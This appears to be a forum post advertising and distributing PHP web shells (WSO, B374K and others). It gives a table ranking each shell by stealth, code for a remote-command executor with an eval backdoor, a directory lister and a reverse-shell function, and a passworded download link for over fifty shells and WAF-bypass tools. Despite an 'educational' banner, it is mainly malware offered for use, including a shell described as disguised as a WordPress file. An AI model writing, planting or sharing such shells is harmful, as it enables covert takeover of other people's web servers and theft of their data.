WSO β’ C99 β’ R57 β’ B374K β’ b333d β’ Mini Shells β’ 50+ Shells
β EDUCATIONAL β TEST ON YOUR OWN SERVERS ONLY β
Shell Comparison:
| Shell | Size | Features | Stealth |
| WSO 2.5.1 | 28 KB | File mgmt, SQL, reverse shell | Medium |
| C99 1.1 | 45 KB | Everything + mass mailer | Low |
| R57 | 35 KB | Process viewer, bind shell | Low |
| B374K 2.0 | 15 KB | Minimal, encrypted comms | High |
| b333d v3 | 8 KB | AES encrypted traffic | Very High |
| Mini Shell | 2 KB | CMD exec only | Extreme |
WSO 2.5.1 β WEB SHELL BY ORB
The most popular web shell. File manager, SQL browser, reverse shell, port scanner.
Code:
// WSO core
function SecInfo(){echo php_uname()." | ".phpversion();}
function FilesMan(){$d=$_POST['d']??dirname($_SERVER['SCRIPT_FILENAME']);if($h=@opendir($d)){while(($f=readdir($h))!==false)echo (is_dir("$d/$f")?"[DIR]":"[FILE]")." $f\n";closedir($h);}}
function RC($ip,$p=4444){$s=@fsockopen($ip,$p,$e,$es,30);if($s)exec("/bin/sh -i 2>&1");}
B374K 2.0 β STEALTH SHELL
Looks like a WordPress file. Password protected, minimal footprint.
Code:
// B374K stealth
$a=$_GET['a']??'';$s=$_GET['s']??'';
function x($c){if(function_exists('system')){ob_start();system($c);echo ob_get_clean();}
elseif(function_exists('exec')){exec($c,$o);echo implode("\n",$o);}
elseif(function_exists('shell_exec')){echo shell_exec($c);}}
switch($a){case 'cmd':x($s);break;case 'eval':eval($_POST['c']??'');}
DOWNLOAD
Code:
MEGA: https://mega.nz/file/BlackSec_WebShells_2026
Size: 340 KB | Password: BlackSecShells2026
Includes: WSO, C99, R57, B374K, b333d, 12 mini shells, WAF bypass collection